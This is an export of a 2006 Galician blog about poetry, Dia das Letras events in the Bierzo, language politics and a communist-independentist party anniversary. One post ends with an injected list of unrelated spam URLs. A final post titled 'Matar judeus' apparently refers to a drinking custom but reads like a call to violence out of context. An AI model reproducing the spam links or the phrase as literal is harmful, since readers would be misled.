----- -------- AUTHOR: Lugris TITLE: Eu fun o silêncio... BASENAME: eu_fun_o_silencio DATE: Wed, 21 Jun 2006 13:34:30 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:Eu fun o silêncio
que governava a minha mente
Eu fum umha ideia
que era como umha sensaçom cheia de cores
E depois decidim
deixar de abrir os olhos
para nom ter que ver novamente o vazio
(29 de Abril de 2006)
----- -------- AUTHOR: Lugris TITLE: O Dia das Letras hoje na imprensa BASENAME: o_dia_das_letras_hoje_na_imprensa DATE: Fri, 12 May 2006 12:38:07 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Hoje o Diário de Leom, recolhe, na sua ediçom impresa e na sua ediçom electrónica, a celebraçom do Dia das Letras no Berzo por parte de Fala Ceive, e, também, reproduz umha versom reduzida, e em espanhol, do artigo que publicava neste blog haverá uns dias, e que apareceu em galego em alguns outros meios.
Nos próximos dias, poderemos contar como decorreu todo.
Saude e língua!
Até os "camelos" asumem no seu trabalho a unidade territorial... : )
----- -------- AUTHOR: Lugris TITLE: Servando na Gatera o dia 12 de Maio! BASENAME: servando_na_gatera_o_dia_12_de_maio DATE: Thu, 11 May 2006 20:50:59 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:O dia 12 de Maio, quer dizer, manham, dentro dos actos de celebraçom do Dia das Letras, organizados por Fala Ceive, Servando, do grupo "Servando e Contradança", estará na Gatera (rua do Relógio, a carom da Casa do Concelho) numha Festa-Concerto-Repichoca que começará às 23'30h., e à que estades todos e todas convidadas.
Vemo-nos primeiro, às 17'30 nos actos que teram lugar no Salom de Actos do Campus de Ponferrada.
Hoje recebim umha sms que dizia "Vem celbrar o Dia das Ltras ao Berzo com Fala Ceive! E nom sqezas traer o teu sprai (passa-o)". Pois isso! : )
----- -------- AUTHOR: Lugris TITLE: O Berzo e a Normalizaçom Lingüística BASENAME: title_124 DATE: Mon, 08 May 2006 12:46:09 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Reproduzo um artigo sobre a questom da normalizaçom lingüística no Berzo, enviado a vários meios de comunicaçom (electrónicos e "de papel"), tanto em galego como em espanhol (no Berzo, oficialmente em Castela e Leom ainda, os meios nom publicam nada em galego, mas claro... iso nom é censura).
O Berzo e a Normalizaçom Lingüística
Nas últimas semanas, mesmo meses, tem havido diversas notícias relacionadas com a defesa, promoçom e reivindicaçom da língua e cultura galegas do Berzo. Ao fio dessas novas, alguns meios de comunicaçom e alguns políticos de Castela e Leom tenhem empregado um argumento falso para criticar as posiçons que por parte de diversos sectores da Comunidade Autónoma Galega se tenhem apresentado para defender umha maior protecçom do galego do Berzo. Ao falar destes temas, tenhem querido dar a entender que som exclusivamente as organizaçons "nacionalistas" galegas, nomeadamente o BNG, as únicas interesadas neste tema, ajustando assim as suas palavras a um preconceito nom menos falso: aquele que quer fazer-nos crer que existe um suposto "imperialismo galeguista" atrás deste tema. Mentem, ou falam a partir da ignoráncia, e sendo as duas possibilidades perigosas, nom se sabe qual é pior.
Pretendem algumhas vozes negar as evidências, e negar por exemplo que já no "Acordo de cooperaçom entre a Conselharia de Educaçom e Ordenaçom Universitária da Junta da Galiza e a Consejería de Educación y Cultura da Junta de Castela e Leom para a promoçom do idioma galego nos territórios limítrofes das comunidades autónomas", assinado a 18 de Julho de 2001, em Vila Franca do Berzo, o entom Conselheiro de Educaçom e Ordenaçom Universitária da Junta, Celso Currás Fernández, e o "Consejero de Educación y Cultura de la Junta de Castilla y León", Tomás Villanueva Rodríguez (ambos os dous do Partido Popular, ambas as duas instituiçons governadas na altura polo PP) reconheciam, que, ponto III, "o idioma galego, além de no território administrativo da CAG, fala-se, entre outros territórios, nas zonas das províncias de Leom e Samora pertencentes à Comunidade de Castela e Leom", e que, ponto IV e V, ambas as instituiçons estám obrigadas, polos seus respetivos estatutos e outras Leis, a defenderem a língua galega falada nestes territórios, destancando-se especialmente o artigo 4 do Estatuto de Autonomia de Castela e Leom, que especifica que "gozarám de respeito e protecçom a língua galega e as modalidades lingüísticas nos lugares em que habitualmente se empreguem".
Nom é a minha intençom louvar o trabalho feito polo PP, o PSOE e o BNG no Parlamento autonómico galego ou noutras instituiçons, mas esses meios de comunicaçom, esses politícos, esses colunistas e criadores de opiniom que rapidamente se escandalizam quando se fala deste tema, deveriam saber que o Parlamento Autónomico, aprovou a 22 de Setembro de 2004, e por unanimidade, um Plano Geral de Normalizaçom da Língua Galega, que, entre todas as suas alíneas, recolhe umha especialmente dedicada às relaçons com os outros territórios de língua galega. É nesta alínea que se recolhe um grupo de propostas referidas às comarcas situadas actualmente além dos limites autonómicas mas de fala galega, isto é: o Návia-Eu, nas Astúrias, o Berzo e as Portelas, em Castela e Leom, e, ainda, o Val de Elhas na Estremadura. Entre os objectivos que se marca dito plano figura "garantir a formaçom em língua galega nos centros de ensino das comunidades de fala galega de fora da Galiza", assim como "criar espaços em que os habitantes de territórios galegófonos podam usar a sua língua em qualquer tipo de relaçom", prestando "a ajuda que estas comunidades demandarem para o melhor conhecimento, conservaçom e progresso da língua que nos é comum".
Entre os objectivos específicos a conseguir, figuram reivindicaçons que as organizaçons galeguistas destes territórios levam fazendo desde há anos, como pode ser a de "aumentar a presença de informaçons sobre estas zonas na RTVG, criando mesmo, de ser possível, programas territoriais próprios", e iniciar conversas com as autoridades destas autonomias para levar adiante medidas tam urgentes e necessárias como, por exemplo, "recuperar as formas próprias na toponímia dos territórios de fala galega, oferecendo colaboraçom institucional", "implantar o ensino de língua galega, integrado no currículo académico em todos os centros de ensino públicos do sistema nom universitário", ou o apoio às organizaçons "que se esforçam na promoçom do galego nestas zonas".
Especialmente no tema do ensino, este Plano Geral de Normalizaçom Lingüística, recolhe a evidência de que actualmente existe umha "impossibilidade prática" para nestas zonas "adquirirem umha formaçom competitiva em língua galega", e marca a si próprio como objectivo "lograr umha presença do galego no sistema escolar nom universitário que se aproxime da existente na Galiza".
Fica claro entom que, para além de que algumhas forças políticas, ou colectivos sociais de diverso tipo, ponham mais em destaque este tema, o certo é que as três forças políticas com representaçom no Parlamento autónomico galego, o Partido Popular, o Partido Socialista Operário Espanhol e o Bloco Nacionalista Galego, aprovárom um Plano que prevê as medidas que muitas pessoas estám a reclamar, estamos a reclamar no Berzo, e que ainda escandalizam algumhas pessoas e, sobretodo, algum "responsável" político, que preferiria nom ter que atender a situaçom que vivemos nestes territórios, e que por isso emprega a técnica do avestruz: agachar a cabeça e assim pensar que desapareceu o problema. Mas nom é negando a sua existência que os problemas se resolvem.
----- COMMENT: AUTHOR: eduardo [Visitante] DATE: Thu, 11 May 2006 20:44:42 +0000 URL: http://galeidoscopio.blogspot.com/Un comentário no meu blog sobre o Dia das Letras no Berzo (e também o texto dentro do post onde falas dele) diz que será o dia 12.
Nom vou escrever eu nada na minha bitácora para evitar erros, ainda que suponho que é em sábado 13.
Saúde.
Umha pequena nota gastronómica. No Bierzo o que há que comer é botilho (ou butelo, como também lhe chamam em algumhas zonas). Evitarás surpresas.
----- COMMENT: AUTHOR: saavedra [Membro] DATE: Sat, 06 May 2006 21:09:03 +0000 URL:Pois sim, onde estiver um bom butelo da Fonsagrada…
----- -------- AUTHOR: Lugris TITLE: Para o metal BASENAME: para_o_metal DATE: Fri, 05 May 2006 23:08:38 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:Escuitas
ou nom escuitas
os telejornais
e dis
ou nom dis
que ainda nom sei
ou nom sabes
como é que falas
ou nom falas
enquanto fora a lua
canta
novas melodias de rebeliom
Nom há mais butano amor
Quanto tempo tarda em acabar-se todo
Um nom sabe bem que sentimento
cria quem esquece o parto, assente a pele e tensa o corpo
A procedência da nossa pele é anterior ao anterior
Contornando o jardim botánico
sempre há umha princesa
porque as laranjas dos reis eram pequenas e doces
Os teus olhos nom olham o que te bica
Assim che medrou no peito um tambor de buxo
Estou como escrita amor no fundo dos versos fluidos
(Os versos som de de Fran Alonso, Yolanda Castaño, Emma Couceiro, Marta Dacosta, Antón Dobao, Estíbaliz Espinosa, Eduardo Estévez, Maria Lado, Franck Meyer, Carlos Negro e Luisa Villalta. A composiçom é minha. Plágio? Criaçom? Recriaçom? Original? Cópia?... Já noutra ocassom falei da minha condiçom de "bilhei".
----- -------- AUTHOR: Lugris TITLE: Homenagens no Dia das Letras BASENAME: homenagens_no_dia_das_letras DATE: Fri, 05 May 2006 22:15:17 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Como informei no anterior comentário, este ano, na celebraçom do Dia das Letras no Berzo, Fala Ceive realizará umha homenagem a Aquilino Poncelas e a Alícia Fonteboa.
Aquilino Poncelas Abella, é autor dos livros ?Contos e Lendas do Bierzo?, bilíngüe galego e espanhol, editado polo Instituto de Estudos Bercianos, em Novembro de 2004, com o patrocínio da Xunta da Comunidade Autónoma de Galiza, a Junta de Castela e Leom,o Conselho Comarcal do Bierzo, o Concelho de Ponferrada, o Instituto Leonês de Cultura e Caja Espanha; ?Contos do Bierzo e os Ancares?, editado pola Associaçom Cultural Carocos, de Val Boa, em 1986; ?O mestro púxose louco" (1995); e ?Estorias e contos do Bierzo e dos Ancares?, editado em 1992, a proposta da entom existente Mesa para Defensa do Galego do Bierzo e do Instituto de Estudos Bercianos, pola Direcçom Geral de Política Lingüística da Xunta da CAG. Tem publicado numerosos artigos em diversos meios de comunicaçom, assim como participado em innumeraveis congressos e encontros sobre tradiçom popular, literatura oral, etc... Entre os seus artigos, destacamos um do que já falamos neste blog: "Leonesistas de ficción", publicado no Diário de Leom.
Alicia Fonteboa, é autora do importante livro ?Literatura de tradición oral en El Bierzo? (ediçom da autora, Ponferrada, 1992); e também co-autora de ?Didáctica do folclore literario?. Foi coordenadora do Atlas Lingüístico do Bierzo (ALBI), dirigido por Manuel Gutierrez Tuñón, e começado a publicar em 1996 polo Instituto de Estudos Bercianos.
No blogue "O Bierzo Ceive" poderás ver mais informaçom sobre bibliografia a respeito da língua e a cultura galegas do Bierzo.
----- -------- AUTHOR: Lugris TITLE: 13 de Maio: Dia das Letras no Bierzo BASENAME: 13_de_maio_dia_das_letras_no_bierzo DATE: Fri, 05 May 2006 19:07:20 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Finalmente, haverá acto polo Dia das Letras no Bierzo organizado por Fala Ceive. Com a colaboraçom dum grande número de pessoas que, após ter conhecimento dos entraves de diverso tipo que estavam sendo postos a FC para levar adiante esta iniciativa normalizadora no ano 2006, poderemos contar com o salom de actos do Campus da Universidade em Ponferrada.
A seguir, reproduzimos o programa de actos, ao que ainda se acrescentaram, estamos seguro, algumhas pessoas mais que quererám estar com nós esse dia, um dia de diversom, de celebraçom, mas também, e sobre todo, de REIVINDICAÇOM.
Agradeceremos, muito, a difussom desta informaçom por todos os meios possíveis.
DIA DAS LETRAS NO BIERZO 2006
Associaçom Cultural
Fala Ceive do Bierzo
12 de Maio. 17'30h.
Ponferrada
SALON DE ACTOS DO EDIFICIO DE USOS MULTIPLES .
CAMPUS DE PONFERRADA.
RUA LOS ROSALES.24400
987442000.
ENTRADA LIVRE E GRATUITA
ACTOS
HOMENAGEM:
Homenagem a Aquilino Poncelas e Alícia Fonteboa, escritores/as bercianas/os , que tenhem desenvolta umha importante actividade em defesa das tradicçons culturais bercianas, pulicando vários livros e sendro sempre partidários do ensino da nossa língua no Berzo. Sera-lhes entregada umha escultura realizada polo escultor valdeorrés Henrique Rei.
CONVIDADAS/OS QUE PARTICIPARAM:
TEATRO.
NENAS E NENOS DO COLÉGIO DE COMPOSTILhA COM A OBRA " ESPINHA DE TOXO".
NENAS E NENOS DO COLÉGIO DA PLACA E CAMPONARAIA ( POR CONFIRMAR OBRA).
POETAS:
MARIA XOSE MONTERO.
ARTUR NOVELHE.
CONCHA ROUSSIA.
IGOR LUGRIS.
MÚSICOS:
ESCOLA DE GAITAS DE PONFERRADA.
ANXO REI.
SERVANDO.
AGRUPAÇOMDE PANDERETEIRAS E BAILE "ABERTAL".
Haverá mais convidadas e convidados, que confirmarám a sua participaçom nos próximos dias.
Queremos aproveitar para convidar a todas as pessoas, de toda a Galiza, a participar com nós neste importante dia de defesa, promoçom e reivindicaçom da língua e cultura galega do Bierzo.
* http://junge.lunapix.org * http://taxi.vreese.org * http://frankfurt.peuken.org * http://habitacion.intrall.org * http://fussball.vossmi.org * http://hotel.blumke.org * http://fare.adjee.org * http://kleiderschrank.zimmie.org * http://marktforschung.stompie.org * http://anti.cafepad.org * http://aprender.looin.org * http://kredit.walpot.org * http://m.balmf.org * http://bilbao.debey.org * http://research.asoli.org
----- -------- AUTHOR: Lugris TITLE: Vimo-nos na Ceia... BASENAME: vimo_nos_na_ceia DATE: Wed, 03 May 2006 16:55:30 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:
Já vos digem que nos veriamos na Ceia... E assim foi!
Reproduzimos a seguir a minha intervençom na na ceia e acto político do passado dia 22 de Abril, em que foi comemorado o décimo aniversário de Primeira Linha
******************
É forte a tentaçom de fazer umha intervençom meláncólica e nostálgica, com motivo deste décimo aniversário de Primeira Linha. Mas a minha intençom nom é essa. E nom o é porque nengumha das pessoas que estamos hoje aqui vimos pensando em encontrarmo-nos com camaradas, companheiros e companheiras, amigas e amigos para rememorar tempos passados, para lembrar que novos eramos há dez anos, quedistinto era todo e como eramos capazes de fazer cousas que agora já nos cansam. Nom. Nom estamos por isso nem para isso hoje aqui.
É bem reaccionária essa famosa frase, practicamente umha palavra de ordem para muitas pessoas e mesmo para muitas organizaçons, incluso para algumhas que se dim de esquerdas, transformadoras e revolucionárias, essas frase que di "qualquer tempo passado foi melhor". E nom é certo. O que podemos dizer de qualquer tempo passado é que foi distinto, que foi diferente, que foi outro. Como di nom sem retranca a sabedoria popular, "qualquer tempo passado foi anterior".
Era também distinta a Galiza de há dez anos, em que um grupo de pessoas, de moços e moças, decidimos que era preciso, que era urgente, encher esse oco existente no campo da esquerda, o oco dumha organizaçom política comunista e independentista galega. Nestes dez anos, muitas pessoas temos contribuído para criar, com erros e acertos, com dificuldades e entraves, este projecto que hoje celebra os seus primeiros dez anos, e que tem contribuído, modestamente, na medida das suas forças e possibilidades, a fazer com que a situaçom da Galiza de hoje, da Galiza de 2006, seja distinta, diferente, à da Galiza de 1996. Em diversos aspectos, em diversos campos.
Mas hoje, dizia ao princípio, nom vimos falar do passado. Nom. Estamos aqui porque sabemos que é necessário, hoje igual que ontem, que é urgente, seguirmos a falar do futuro. Isso era que falavamos em 1996. Disso é que seguimos a falar hoje. Do futuro desde o presente. Se este projecto segue a existir hoje, nom é para celebrar dez anos, mas para se preparar para estar aqui dentro de outros dez anos. O motivo de estarmos vivos, como projecto, mas também como pessoas, é seguir vivendo.
Pode que dentro de dez anos esta celebraçom nom nos reúna em Compostela (eu, por se servir de algo, já proponho que os vinte anos os comemoremos em Ponferrada), pode que algumhas das pessoas que hoje estamos aqui já nom estejamos, ou que algumhas que hoje nom estám estejam entom, pode que mesmo a organizaçom política que nos convoca já nom se chame assim (quem sabe, já nestes dez anos perdimos três letras), mas se no ano 2016 um projecto comunista e independentista, um projecto marxista-leninista galego, continua a existir, entom, saberemos que a celebraçom de hoje tivo sentido. Saberemos que o esforço destes dez primeiros anos nom foi em balde, e saberemos que haverá um motivo para seguir adiante.
Os partidos políticos som ferramentas de trabalho, e Primeira Linha tem demonstrado nestes dez anos que é umha ferramenta de trabalho útil. Mas nom só. Tem demonstrado que é umha ferramenta de trabalho necessária. Se Primeira Linha nom existisse, podemo-lo dizer com orgulho, haveria que fundá-la. Pode que nom se chamasse assim, pode que as faces, os nomes, os aspectos mais visíveis fossem distintos, mas existiria. Porque nom nasceu Primeira Linha pola decisom de um grupo de pessoas, que também, mas pola necessidade. É um velho axioma: "a necessidade cria o órgao".
Por último, em meu nome, e estou seguro que também em nome de muitas e muitos dos camaradas que hoje estam aqui, só me resta agradecer a todas as pessoas assistentes a sua presença, mas, sobretodo, agredecer a todas as camaradas e a todos os camaradas, os que estám presentes e os que por diversos motivos podam estar ausentes, agradecer a possibilidade de formarem parte deste projecto. Estou orgulhoso de ser um militante comunista, um militante de Primeira Linha, mas isso só é possível porque entre todas e todos construímos dia a dia o Partido. O Partido de que precisamos, o Partido que é necessário.
Avante na luita!
A luita é o único caminho!
Berrai comigo:
Viva Galiza Ceive e Socialista!
Viva Galiza Unida!
Viva o Marxismo-Leninismo!
Compostela, 22 de Abril de 2006
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Thu, 04 May 2006 19:16:22 +0000 URL:Bom… Sempre é precisso que exista organizações que tentem ser umha ferramenta de emancipaçom das classes populares e dos povos. Aguardo que Nos-Up seja umha das mesmas. Umha aperta.
Corral
----- COMMENT: AUTHOR: xavi [Membro] DATE: Wed, 03 May 2006 22:34:02 +0000 URL: http://mariacastanha.agal-gz.orgViva!
Viche que falárom de ti hoje (quarta) em La Voz?
----- -------- AUTHOR: Lugris TITLE: Xnd no seu primeiro Primeiro de Maio BASENAME: xnd_no_seu_primeiro_primeiro_de_maio DATE: Wed, 03 May 2006 14:35:14 +0000 STATUS: publish PRIMARY CATEGORY: Xende Lugris CATEGORY: Lugris TAGS: ----- BODY:No Berzo nom havia manifestaçom nem concentraçom convocada, porque os sindicatos estám ao que estam e nom ao que tenhem que estar. Mas ainda figemos umha pequena celebraçom. No dia anterior, celebramos os, já, 4 messes.
----- COMMENT: AUTHOR: Xende I [Visitante] DATE: Sat, 06 May 2006 10:39:05 +0000 URL:Parabéns para você!
… e parabéns também a toda essa nova geraçom de galegos e galegas que som a ’semente’ de luita, no caminho face umha pátria libertada.
Venham mais 4… e mais 4… e mais 4…
P.S: Dá-lhe um saúdo ao Igor e à Noelia ;)
----- -------- AUTHOR: Lugris TITLE: Dia das Letras no Berzo em risco BASENAME: dia_das_letras_no_berzo_em_risco DATE: Wed, 03 May 2006 14:11:56 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Colo aqui a informaçom tirada do PGL sobre a celebraçom do Dia das Letras no Berzo, da autoria da Sílvia Ribas. Evidentemente, agradecemos a sua maxima difussom possível, e a colaboraçom de todas as pessoas.
Os actos que desde há uns anos vêm decorrendo no Berzo, organizados pola Associaçom Cultural Fala Ceive, correm o risco este ano de nom se poderem realizar. Nos últimos anos, membros da associaçom corriam com as despesas das actividades, que, ainda que modestas, davam a conhecer por muitos lugares a problemática do galego e do ensino em galego nesta parte da Galiza nom administrativa.
O problema que agora se levanta é que a Universidade de Castela e Leom acaba de nos passar um orçamento de mais de 300 euros para podermos utilizar durante 4 horas, sexta-feira dia 12, um salom de actos, algo, ao menos pola minha parte, nunca visto em nengumha outra Universidade. Como se pode supor, nós nom podemos somar essa despesa às outras que se geram na organizaçom de um encontro com mais de 300 pessoas de assistência e uns 30 convidados entre crianças, poetas, músicos, etc.
O que tenho claro é que parece que querem calar-nos a boca. Este ano todos os locais «estám ocupados» e das portas em que batim, até os dias de hoje, ainda nom recebim resposta. Falo do Presidente da Junta da Galiza, Vice-presidente, Conselheira da Cultura e outras associações da Galiza administrativa que em princípio poderiam dar umha mão para solucionar esta situaçom, porque polos da outra banda, já vemos o que há.
Já chegados a este ponto, só fica fazermos pública a grave situaçom em que nos encontramos. Ou fazemos um acto menos ruidoso, e que nom moleste tanto, ou nom fazemos nada, que quase pode ser o mesmo.
Temos claro e somos conscientes que Fala Ceive molesta, e muito, em certos lugares, que nom estamos bem vistos nem bem considerados. É o que tem a defesa da língua nalguns lugares.
Agora solicito ajuda a todo o mundo que poda. Apenas 1 euro, 3, 5... somando fam umha boa cheia. O prazo, quinta-feira desta semana, para fazermos pública a noticía de se podemos ou nom organizar os actos pagando o local e outras pequenas cousas que há.
* Sílvia Ribas é Secretária de Organizaçom de Fala Ceive do Berzo e Coordenadora do Dia das Letras 2006.
Número de conta 2091-0542-11-3000026492 de Caixa Galicia [Sílvia Ribas] depositando a ajuda em conceito de Dia Das Letras do Berzo 2006.
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Wed, 03 May 2006 20:37:07 +0000 URL:O que seguo sem entender é como Fala Ceive ainda nom existe legalmente. E fago-me umha pergunta, por quê?
----- -------- AUTHOR: Lugris TITLE: Vemo-nos... BASENAME: vemo_nos DATE: Fri, 21 Apr 2006 19:43:06 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:... na Ceia
----- -------- AUTHOR: Lugris TITLE: centrais térmicas situadas na Galiza entre as 100 que mais contaminam BASENAME: centrais_termicas_situadas_na_galiza_ent DATE: Fri, 21 Apr 2006 17:52:59 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:
Pois é certo. As centrais térmicas situadas na Galiza estam entre as cem que mais contaminas de toda a Uniom Europeia, segum vem de publicar o organismo sueco The Swedish NGO Secretariat on Acid Rain, no seu estudo que foi dado a conhecer nestes dias.
No primeiro posto de toda a lista atopamos à Central Térmica das Pontes, de Endesa. No posto 20 está a Central de Compostilla, no Berzo, também de Endesa. No 24, a de Meirama. E no 92 a de Anlhares, em Páramo do Sil, também no Berzo, de Uniom Fenosa. Umha duvidosa honra para a Galiza, sem dúvida nengumha, estar tam bem situada.
Segum esse estudo, a Central das Pontes, teria produzido uns danos em valorados em 1.400 milhons de euros ao ano, calculando-se em 19.000 anos de vida perdidos cada ano de funcionamento, e provocando umhas 1800 mortes por ano.
Compostilha, no posto 20, teria provocado uns 350 milhons de euros ao ano, calculando-se em 4700 anos de vida perdidos por anos de funcionamento, e sendo responsável de umhas 440 mortes ao ano.
Para a de Meirama, no posto 24, os custos calculam-se em 330 milhons de euros por ano, perdendo-se uns 4400 anos de vida por cada ano de funcionamento, e causando umhas 420 morte cada ano.
Por último, a de Anlhares, no posto 92 desse macabro ranking, provoca uns 130 milhons de euros em danos cada ano, culpando-se-lhe da perda duns 1800 anos de vida e 160 anos mortes anuais.
Isso tudo, fai um total de 2210 milhóns de euros em que se valoram os danos causados cada ano por estas centrais, que ademais provocam a perda de 29900 anos de vida por cada ano de funcionamento, o que é equivalente a 2820 mortes cada ano polo efectos da poluiçom.
----- -------- AUTHOR: Lugris TITLE: A nossa fame de outrora BASENAME: a_nossa_fame_de_outrora DATE: Tue, 18 Apr 2006 14:46:24 +0000 STATUS: publish PRIMARY CATEGORY: Estam tolos estes espanhois CATEGORY: TAGS: ----- BODY:
"Ja podem os leiros dar
colheitas bem avondosas,
podem en Madrí falar
com palavras bem formosas,
que nunca, nunca nos ham pagar
a nossa fame de outrora!"
(Fuxan os Ventos, Mulher)
Se escreverdes no "guguel" as palavras "Débeda histórica", aparecerám-vos 15.600 resultados. Se escreverdes "Débeda histórica Anxo Quintana", aparecerám 427 resultados. Se escreverdes "Dívida histórica", os resultados serám 540.000, e se acrescentardes "Anxo Quintana", o resultado é de 328. Também podedes provar com "Dívida histórica Galiza" e "Débeda histórica Galiza", tendo entom 57.000 e 18.700 respectivamente. Com "Débeda histórica Galicia" o resultado é de 15.000 páginas. Desconheço que se passará escrevendo essas palavras noutros idiomas distintos do galego-português, em qualquer das suas variantes normativas.
Tudo isto vem bem a conto porque dim os meios de comunicaçom que Galicia vai comezar a cobrar xa a ?débeda histórica?, que o BNG, por boca do seu lider, Anxo Quintana, tem calculado em 21.000 milhons de euros. O BNG, pensa que o Estado deve saldar essa dívida em 8 anos, a razom de 2.600 euros que o Estado deverá pagar à Administraçom galega durante 8 anos. "Ademais, a organización nacionalista esixe que o investimento do Estado en materia de infraestruturas non baixe do 8% do Plano Estratéxico de Infraestruturas e Transportes (PEIT), como figura no pacto de goberno asinado co PsdeG-PSOE". O PSOE está disposto a falar dessas quantidades, ainda que prefira falar de "défice estrutural", porque, evidentemente, o "conceto é o conceto".
Com toda a probabilidade, todo esse dinheiro, por seguir a tradiçom e nom variar, destinará-se às já famosas "infraestruturas" (estradas, auto-estradas, portos, caminhos de ferro, etc...), tal e como fazia o PP, tanto em Madrid como em Sam Caetano, quando anunciava investimentos na Comunidade Autónoma Galega. Assim, os e as emigrantes poderemos emigrar por grandes infraestruturas, e voltar nas férias à nossa naçom, para ver que todo continua na mesma mas os "guiris" tenhem mais fácil passar os veraos nas nossas rias.
Eu, sempre que leio notícias destas, lembro, nom podo evitá-lo, a cançom de Fuxan os Ventos, que durante tantos anos cantavam e coreavam os militantes, e mesmo a dirigência, do BNG. Parece que, finalmente, alguns pensam que sim, que nos vam pagar a nossa fame de outrora. E é que som esses mesmos que levam tempo, anos, a dizer que em Madrid é possível falar com palavras bem formosas, e que os leiros vam dar cada dia colheitas mais avondosas.
Agora que tam politicamente correcto é nos ambientes "progres" falar de "memória histórica" (outro "conceto" que vai caminho de nom significar nada), nom está nada mal fazer memória e lembrarmos esta letra de Fuxan os Ventos.
Vinte e um mil milhons de euros! Pois sim que me parece barato colonizar umha naçom. Bom proveito para eles!. Será o preço da sua claudicaçom.
A meu gaiteriño, ainda me acordo, cando baixabas polo monte abaixo, e viñasme ti dicindo. Bota carne no pote, Marianiña, bota carne no pote, Marianá, un molete enteiro. enservelletado, unha bota con viño, chupáená! Muller, fartura de loita qué che hei decire eu, muller?! Ti és coma a terra nosa, e a terra é coma ti é! Deixeivos a entrambas soias anque convosco quedei Valeira está a terra, morna ti, sementada, abofé. (bis) E o vento decia pronto hai de volver!, pra tira-la fame, pra poder comer... (bis) Ai, muller, cántas noitiñas, te deitaches coa tristura?, e o vento, ainda che traguía, as novas dos que marmuran. E o vento decia, pronto hei de volver... RECITADO FINAL: Ti és o milagre da terra e, a terra é un milagre teu mistura de mel e cerna de fera e de anxo do ceo. Pariches de pé o fillo, como fan no mente as bestas. E hoxe que volto vencido, para que eu venza ti te deitas. O voltar, qué che hei decir?! Maldito o día e a hora en que te deixei aquí pra percurar vida fora! O inverno da emigración roubóunos a primavera, quén eu era, xa non son, e ti non és a que eras! Xa poden os leiros dar colleitas ben abondosas, poden en Madrí falar con palabras ben fermosas, que nunca nos han de pagar a nosa fame de outrora! E O VENTO DECíA, PRONTO HEI DE VOLVER PRA TIRA-LA FAME, PRA PODER COMER...
----- -------- AUTHOR: Lugris TITLE: Olhar para outro foro BASENAME: olhar_para_outro_foro DATE: Mon, 17 Apr 2006 19:29:24 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Mais umha ligaçom. O Foro de Debate das Bases Democráticas Galegas, reproduz um artigo meu, a respeito da práctica política da esquerda soberanista nas comarcas da Galiza irredenta. O artigo, "A soluçom nom é olhar para outro lado", foi publicado originalmente no número 35 (correspondente ao primeiro trimestre de 2005) do Abrente, vozeiro de Primeira Linha.
No Foro de Debate, também podedes ver artigos de Ludor Castro ("Análise geral da política espanhola"); Xurxo Borrazás ("A avestruz platónica"); e Braúlio Amaro Caamaño ("A autodeterminación un direito irrenunciábel").
----- -------- AUTHOR: Lugris TITLE: A Regiom do Berzo de A. Rodríguez BASENAME: a_regiom_do_berzo_de_a_rodriguez DATE: Mon, 17 Apr 2006 19:17:38 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Um desconhecido Alejandro Rodríguez, enviou-me por correio electrónico em dias passados um artigo, em galego, que sob o título "Pola Regiom do Bierzo" analisava a realidade do Berzo e a necessidade de mudar a denominaçom de "Comarca" pola de "Regiom" para esta terra (um debate, por certo, presente entre diversos sectores berzianistas desde há um tempo).
Depois, vim esse artigo em espanhol no DiariodelBierzo, onde, por certo, recebiu alguns comentários possitivos.
E agora, passados uns dias, vejo que também o Portal Galego da Língua, publica esse interesante artigo, mas, evidentemente, em galego.
Nem sei quem é o autor, nem como é que conhecia o meu correio electrónico, mas, em todo caso, somo-me aos parabéns que lhe tenhem chegado, e aproveito para animar a mais pessoas a participar no debate nas páginas do PGL ou nas do DiariodelBierzo, mas sempre, por suposto, em galego.
----- -------- AUTHOR: Lugris TITLE: Notícia de Urbano Ermida BASENAME: noticia_de_urbano_ermida DATE: Mon, 17 Apr 2006 19:09:59 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Em 29 de Julho de 2005, publiquei neste blogue o artigo sobre Urbano Ermida da minha autoria, e que aparecia no número 12, correspondente ao segundo quadrimestre de 2005, da revista de NÓS-Unidade Popular "Voz Própria".
Agora traio cá a ligaçom para a ediçom do artigo feita por Vieiros nestes dias. Um artigo que, agora que já se achega o mês das Letras, que já nom o Dia, é apropriado lembrar, traendo na memória aquelas palavras de Urbano Ermida, recolhidas do seu último artigo aparecido n'A Fouce: "Un naçonalista que pide apoio pra autonomía, é tan sinceiro e tan conscente, como aquel galeguista que non fala galego porque non está oficializado o noso idioma".
----- -------- AUTHOR: Lugris TITLE: Matar judeus BASENAME: matar_judeus DATE: Fri, 07 Apr 2006 16:03:56 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Já o digem há um ano, e agora insisto:
Quem quer vir matar uns judeus en Ponferrada?
(Aproveitai, que esta noite, e para lembrar velhos tempos, ponho copas, copos, finos e pintas na Gatera, aproveitando para pôr música da nossa)
